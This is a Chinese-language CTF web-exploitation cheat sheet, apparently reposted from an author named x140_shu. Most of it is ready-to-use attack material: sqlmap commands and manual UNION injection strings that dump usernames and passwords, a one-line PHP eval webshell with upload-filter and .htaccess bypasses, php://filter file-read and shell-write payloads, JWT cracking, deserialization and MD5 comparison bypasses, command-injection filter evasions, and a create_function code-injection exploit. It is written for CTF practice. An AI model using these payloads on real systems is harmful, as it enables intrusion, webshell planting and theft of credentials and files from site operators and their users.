工具
firefox的hackbar插件,bp,kali-linux,蚁剑,7kbscan等
抓包修改BP,hackbar
通过hackbar传入get,post参数,例如?name1=value1&name2=value2,url后添加文件路径,可以访问相应的文件,404not found;403越权访问;200 ok
http
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
X-Forwarded-For:127.0.0.1 即为仿造本地访问
client-ip: 127.0.0.1同样可以伪造本地访问
Referer 是存在于http请求头内部的用于标识访问者来源网页的标识字段,即来时的路
User-Agent也简称UA。用较为普通的一点来说,是一种向访问网站提供你所使用的浏览器类型、操作系统及版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识。UA字符串在每次浏览器 HTTP 请求时发送到服务器
ua字段修改为Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/1A542a Safari/419.3为移动端iphone访问
via字段为代理服务器地址
目录扫描7kbscan,kali-linux下的dirsearch
7kbascan直接输入url
dirsearch -u [url]
在扫描出403forbidden时可以进一步扫描目录,可能会有新的发现
sql注入,sqlmap
检查是否有注入,并可获得sql软件类型
sqlmap -u [url]
查看包含数据库
sqlmap -u [url] --dbs
查看数据库中的表
sqlmap -u [url] -D [dsbname] -tables
查看表中的列名
sqlmap -u [url] -D [dbsname] -T [tablename] -columns
查看列中的数据
sqlmap -u [url] -D [dbsname] -T [tablename] -C [cname],[cname] --dump
sql手注流程
1.首先判断是字符型还是数字型注入
(数字型)
2.判断显示字段的数目
?id=1 order by 1
3.判断报错点
?id=1 and 1=2 union select 1,2,3
4.获取当前数据库名字
?id=1 and 1=2 union select 1, concat_ws(char(32,58,32),user(),database(),version()),3
5.获取数据库中的表名
?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfswiki'
6.获取表中的列名
?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='ctfswiki' and table_name='user'
7.获取列中的数据
?id=1 and 1=2 union select 1,group_concat(username,' ',password),3 from user
(字符型)
2.判断显示字段的数目
?id=1' order by 1#
3.判断报错点
?id=1' and '1'='2' union select 1,2,3#
4.获取当前数据库名字
?id=1' and '1'='2' union select 1, concat_ws(char(32,58,32),user(),database(),version()),3#
5.获取数据库中的表名
?id=1' and '1'='2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfswiki'#
6.获取表中的列名
?id=1' and '1'='2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='ctfswiki' and table_name='user'#
7.获取列中的数据
?id=1' and '1'='2' union select 1,group_concat(username,' ',password),3 from user#
如果出现
Illegal mix of collations for operation 'UNION'
,那么需要设置查询字段的字符集
例如1' union select 1,group_concat(column_name collate utf8_unicode_ci) from information_schema.columns where table_schema=database() and table_name='users'#
include文件包含
php://filter/read=执行文件读取功能~
convert.base64-encode执行Base64编码功能~
/resource=/var/www/html/flag填写flag.php所在的地址
通过php://filter/read=convert.base64-encode/resource=文件地址
来查看指定文件内容的base64编码
用php://input输入流来绕过file_get_contents函数
file=php://input Post:输入
php://input可以读取没有处理过的POST数据 可以通过post进行传参
phar伪协议
将木马压缩成zip文件,上传到站点,之后使用phar伪协议和蚁剑进行连接
phar://路径
file://路径来查看具体路径的文件
文件上传
一句话木马<?php @eval($_POST['a']);?>
上传木马时如果要求文件为图片格式,可以在文本前面添加图片的前几个字节,并且改文件后缀为phtml格式,否则代码不可读, 上传时可通过bp抓包,修改头部Content-Type为image/gif上传
.htaccess文件可以使当前目录下的jpg文件转译为php
SetHandler application/x-httpd-php
JWT在线解密网站
在linux下使用jwtcrack进行爆破
命令:/home/kali/桌面/c-jwt-cracker-master/jwtcrack [jwt]
得到secret再到网站中将secret填入,修改用户名得到新的JWT,再重新发包
反序列化(反序列化结果在url输入,hackbar无用,情况未知)
反序列化可以通过题目中的源码在vscode上面构建绕过对象,在本地进行序列化or反序列化
serialize()为序列化函数
unserialiize()为反序列化函数
需要绕过哈希加密函数的时候,可以修改成员个数(需要大于真实成员个数)
注意如果变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码
一些魔术方法的绕过方法
wakeup()魔术方法在执行unserialize()时,会优先调用这个函数,而不会执行construct()
函数。
绕过方法:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
__destruct是PHP对象的一个魔术方法,称为析构函数,顾名思义这是当该对象被销毁的时候自动执行的一个函数。其中以下情况会触发__destruct。
1.主动调用unset($obj) 2.主动调用$obj = NULL 3.程序自动结束
正则绕过如preg_match('/^O:\d+/')匹配序列化字符串是否是对象字符串开头。
绕过方法
利用加号绕过(注意在url里传参时+要编码为%2B)
利用数组对象绕过,如 serialize(array($a)); a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)
JS源码泄露
无法查看源代码的时候可以使用ctrl+s下载网站代码
php代码审计
$$a为可变变量
可以通过?a=b&b=payload来绕过过滤
使代码中的$$a变成$b进行执行,从而实现绕过
$GLOBALS——引用全局做用域中可用的所有变量。
global的作用是定义全局变量,但是这个全局变量不是应用于整个网站,而是应用于当前页面,包括include或require的所有文件。
system()函数用于执行终端命令
system("ls")
$_REQUEST[]具用$_POST[] $_GET[]的功能,但是$_REQUEST[]比较慢
==和===
==为弱比较,不会对比类型,===会比较类型
md5()
对括号内内容进行md5编码
1.以下md5编码之后相等(以0e开头会被识别为科学计数法0的n次方=0所以相等)
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
2.使用数组绕过===
数组进行MD5编码之后值都为NULL
即/?a[]=1&b[]=2
3.MD5强碰撞
Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
md5延伸
ffifdyop经过md5加密,再经过转换,得到字符串or可以用于sql注入
preg_replace ($pattern , $replacement , $subject )用于正则表达式替换
其中 $pattern为正则表达式
$replacement为替换字符串
$subject 为要搜索替换的目标字符串或字符串数组
这个函数存在一些奇异的地方,正则表达式$pattern以/e结尾时$replacement的值会被作为php函数执行。
例如执行 preg_replace (‘/test/e’,"phpinfo();" , "test" )“test”会被替换为phpinfo();并执行。
replace函数可以通过关键词复写跳过例如replace php字符可以使用pphphp绕过
str_replace(old,new,string[,count]);用于字符串替换
将旧字符串的制定子字符串替换成新的字符串,在不设置count的时候,全部替换
replace函数可以通过关键词复写跳过例如replace php字符可以使用pphphp绕过
preg_match ( string $pattern , string $subject)
$pattern为要搜索的模式,字符串形式
①("/php/i")(其中php表示要匹配的内容,i表示匹配不区分大小写)
②("/\bweb\b/i")(其中\bweb\b表示匹配标记边界,只判定web单词,而不匹配website等内容)
$subject 为要搜索的目标字符串或字符串数组,默认只匹配一次(返回0或1),preg_match_all()为全部匹配.
使用换行符进行绕过%0a 例如%0aphp
mb_strpos(haystack,needle0)函数,返回要查找的字符串在另一个字符串中首次出现的位置
haystack:要被检查的字符串
nddle:要搜索的字符串
md_substr(str,start,length)函数返回字符串的一部分
str:必须,从该string中提取子字符串
start:必须,规定在字符串何处开始
length:可选,规定要返回的字符串长度。默认是知道字符串的结尾
var_dump();输出展示展示代码内容,结构与类型。
scandir()函数用于获取指定目录中的文件和文件夹列表,接受一个路径作为参数并返回一个包含指定目录中所有文件和文件夹的数组.
scandir('.')表示返回当前目录下的文件和文件夹
var dump(scandir(chr(46)));其中46是'.'的ascii码,同理有var dump(scandir(chr(47)));47是'/'的ascii码可以查看根目录文件和文件夹
isset () 函数用于检测变量是否已设置并且非 NULL
strcmp是比较两个字符串,如果str1<str2 则返回<0 ,如果str1大于str2则返回>0 ,如果两者相等则返回0。
strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。
**eval($str)**执行命令行的指令,内容为$str
exec()为执行命令的函数,但是不会有回显,所以需要使用管道符和tee命令来将回显打印到文件当中,例如?url=ls|tee 1.txt然后就可以去目录下的1.txt文件查看命令执行内容,另外在没有过滤""符号时,可以使用其绕过过滤例如l\s即为ls
intval() 函数用于获取变量的整数值
用法:int intval( var,base)
var是要转换成 integer 的数量值,base指转化所使用的进制
如果 base 是 0,通过检测 var 的格式来决定使用的进制;
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);
如果字符串以 "0" 开始,使用 8 进制(octal);
否则使用 10 进制 (decimal)。
我们可以利用它的进制转换来实现绕过。
成功时返回 var 的 integer 值,失败时返回 0;空的 array 返回 0,非空的 array 返回 1。
如果是一个弱比较a==b,我们传入a[]=1和b[]=2,
此时这两个是不同的,但都会返回1,也可用于绕过。
**json_decode()**函数 其作用是对JSON格式的字符串进行编码.
$json='{"a":"1","b":"2"}'
转为对象$json_Class=json_decode($json);
echo $json_Class->{'a'};输出1
转为数组$json_Array=json_decode($json,true);
echo $json_Array['a'];输出1
**file_get_contents()**将整个文件读入一个字符串
(file_get_contents($a,‘r’)) === ‘I want flag’ 是读取到的内容为I want flag
可以通过get方式传入?a=php://input
之后在post传入I want flag来达成条件
或者是?a=data://text/plain,I want flag来达成条件
substr(string,start<,length>)
从string 的start位置开始提取字符串
if(substr(file,0,3)==='php')
$_SERVER['PHP_SELF'] :正在执行脚本的文件名
例子:127.0.0.1/pikachu/index.php 显示:/pikachu/index.php
$_SERVER['REQUEST_URI'] :与 _SERVER[‘PHP_SELF’]的区别是会加上参数
例子:127.0.0.1/pikachu/index.php?file=1.php显示/pikachu/index.php?1.php
basename():返回路径中的文件名部分
如果传入的参数中国出现了非ascii字符则会被丢弃
如传入index.php/utils.php时,仍然请求的是index.php
例子:
127.0.0.1/pikachu/index.php?file=1.php 显示:1.php
127.0.0..1/pikachu/index.php?file=flag.php/1.php显示1.php
[ (空格) + . 这四个都可以被处理为_(下划线)
**eval()**函数,使用print(),printf()等函数,都可以实现echo的效果,用反引号`包裹的字符串将被视作命令执行,
@parse_str($id)可以覆盖变量
例如
$a="123"
?id=a[]=abc则可以将$a的值改为abc
空格的替换,绕过方法
$IFS
$IFS$6 ——后面的数字6换成其他数字也行
${IFS}
<
<>
{cat,flag.php} ——这里把,替换成了空格键
%20 ——代表space键
%09 ——代表Tab键
如果限制了flag的输入,可以使用变量拼接
a=g;tac$IFS$6fla$a.php
绕过
参数的赋值可以使用科学计数法例如?a=1e8
stristr是一个字符串查找函数
例如:stristr(a,b)意为在a字符串中查找b子字符串
eval()函数可以执行里面的代码
system()函数可以执行里面的系统命令
常见管道符(思考来自ping题)
1、|(就是按位或),直接执行|后面的语句
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
3、&(就是按位与),&前面和后面命令都要执行,无论前面真假
4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
这里没试出来flag,用cmd试一下:
5、;(linux下有的,和&一样的作用)
Session文件包含
原理:当Session文件的内容可控,并且可以获取Session文件的路径,就可以通过包含Session文件进行攻击。
首先要找到session文件位置
session文件名为sess_+phpsessid 例如/tmp/sess_ntf2j8cmkomhh0v46hs9t3th10
php中的exit();可以通过php伪协议进行文件写入
?filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD89QGV2YWwoJF9QT1NUWydhJ10pOz8+ (<?=@eval($_POST[a]);?>)前面加上a字母进行分割
ssti模版注入漏洞
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
任意文件下载(初见于cms内容管理系统)
在网站上下载文件之后可以右键复制下载链接,下载链接中会包含下载的文件路径(可能通过base64加密或其他加密手段),直接修改路径便可以下载服务器上的任意文件
a(′′,b) 猜到可能是 create_function绕过
然后那个正则表达式 让第一个字符不能为字母数字下划线
使用exp
a=\create_function&b=return 'mmkjhhsd';}var_dump(scandir('/'));/*
发现根目录下有一个flag文件
然后
a=\create_function&b=return 'mmkjhhsd';}var_dump(file_get_contents('/flag'));/*
获取到flag
版权归原作者 x140_shu 所有, 如有侵权,请联系我们删除。